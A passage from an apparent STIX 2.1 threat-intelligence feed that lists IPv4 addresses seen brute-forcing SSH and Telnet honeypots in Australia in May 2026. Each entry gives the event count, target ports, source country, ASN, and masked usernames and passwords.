      "id": "indicator--fde3b5a3-cb0e-4b9e-8a51-efafa95168c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.120.213.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 259. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--be884e43-4e19-4b2d-9b00-0d25e3635133",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.101.137.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 44265. Organisation(s): OOO Smoltelecom.",
      "id": "indicator--95a70e3f-c2c2-4562-bfc2-8e904d2536d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.145.248.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 185. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, d****l, 3**********4, a***n, d**a. Passwords observed (masked): t**t, 1***1, **, 1*****m, 1*******9.",
      "id": "indicator--99cda3c3-70df-4f03-b9da-2beaf9153580",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.40.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6966cb33-49cb-49e7-9e05-f22c8a823dea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--ee2f809b-2102-4f05-9e15-7a456c8c361d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.71.134.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): **@bardengineering.com. Passwords observed (masked): b**********************3.",
      "id": "indicator--404fb6d2-fc24-454e-b6aa-c20af4f80053",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.72.244.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 50597. Organisation(s): ScopeSky for communications, internet and technology services LLC.",
      "id": "indicator--5cf9af8b-d6fe-478d-9e3b-990c99e85e21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.160.5.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--6ee0137e-4d1c-4caa-b438-1cd80aeb96bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.236.222.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--2092baa0-0d5c-48f4-a164-8482fa30912c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.144.180.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--b46c1e18-656d-4805-8445-0590115db805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.69.176.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 19429. Organisation(s): Colombia. Usernames observed (masked): r**t, o****e, u****u, 3**********4, d******r. Passwords observed (masked): 1******!, 1******8, 1********k, 1******A, 1***6.",
      "id": "indicator--7c5ea43f-0af2-474a-8bfb-c7bd4fc9a363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.31.95.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--9261f75e-00c4-4f43-943e-f2afad1ca381",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.246.41.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s**v, ***, e******m, n**e, s****a. Passwords observed (masked): 1**4, 1****6, 1******8, e******m, n**e.",
      "id": "indicator--c1d97e5d-c50e-4aa1-88ad-0506ffefd100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--be84db24-1243-4331-a046-bee0d44272fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.41.216.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--be7fcb19-c8b1-42e2-99fc-f1ddbd0111f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.143.41.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): r**t, u****u, 3**********4, **, g****b. Passwords observed (masked): !**********c, 1****3, 3***********4, 3**********4, A*******6.",
      "id": "indicator--9137de74-b08c-4b5f-b9fe-dc6aea8846b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.116.78.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264838. Organisation(s): INVERSIONES MYJ LTDA.",
      "id": "indicator--064f3b6b-075f-4d01-b3c4-519a624bbdb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.227.50.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: GB. ASN(s): 20473. Organisation(s): The Constant Company, LLC. Usernames observed (masked): s*****t@bardengineering.com. Passwords observed (masked): b*******************n.",
      "id": "indicator--85dc417d-1e34-4b27-a346-09ed9120d368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.76.132.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 192. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): a***n, t**t, c****g, o******i, r**t. Passwords observed (masked): t**t, N**********1, W******1, a***n, c****g.",
      "id": "indicator--76f08ad9-4ee1-4469-8e74-979fd23136f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HU. ASN(s): 211619. Organisation(s): MAXKO d.o.o..",
      "id": "indicator--6cf27192-d3b0-45f7-ad2f-1675708b7fcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.9.168.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--bba71647-07b0-4a9d-89a4-4dcfae0671e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.47.8.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f5425fa3-d298-4163-b9d7-e5a86f6df653",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36149. Organisation(s): Hawaiian Telcom Services Company, Inc.. Usernames observed (masked): d******r. Passwords observed (masked): t******4.",
      "id": "indicator--559ace05-d252-4998-8c5a-7780257a5a41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.253.251.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: GB. ASN(s): 13213. Organisation(s): Thg Hosting Limited. Usernames observed (masked): t**t@kelltech.dev. Passwords observed (masked): K***********4.",
      "id": "indicator--7e23a860-00f2-4086-ad8c-390f7604c86e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.163.73.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 21001. Organisation(s): Netka Telekom LLC.",
      "id": "indicator--2169f905-303b-4958-9f0c-46b0f6bb480b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.232.25.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:15:10.000Z",
      "valid_until": "2026-06-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 327782. Organisation(s): METROFIBRE-NETWORX.",
      "id": "indicator--84941b9a-fb92-41c0-b479-acfce04b888f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.33.32.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 327782. Organisation(s): METROFIBRE-NETWORX.",
      "id": "indicator--ad101ca6-5e00-431e-9925-ede7b05d28c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.33.32.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 211101. Organisation(s): Nasteka Maksim Viktorovich.",
      "id": "indicator--2d1f4569-03df-4c94-a595-e90eaabb6b30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.0.40.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 136970. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, a***n, 3**********4, b*****i, d******1. Passwords observed (masked): *, 1****3, 1****9, 3***********4, 3**********4.",
      "id": "indicator--186d347e-d84a-43df-ac0f-68cc67006a9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.236.64.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--b5c4034d-57ae-4393-997c-39aa14c9f7f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.52.131.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22689. Organisation(s): SERCOMTEL SA TELECOMUNICACOES.",
      "id": "indicator--9ab3aacc-dca0-47a2-a865-6a792b9ccf0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.121.129.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd.",
      "id": "indicator--b832a95f-ad10-4dd8-b80c-15b4e5b1eded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.238.136.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c8eb9cc4-96a1-4158-bdd3-8dd704b9da6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.73.220.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268526. Organisation(s): Conect Virtua Provedor de Internet Banda Larga.",
      "id": "indicator--06929633-0e12-46e2-a977-4529f2c8a356",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.162.28.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T19:15:04.000Z",
      "valid_until": "2026-06-02T19:15:03.000Z"
    },
    {
      "created": "2026-05-01T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): P*******6.",
      "id": "indicator--a930e69a-0147-483f-b038-429ad8db1776",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.178']",
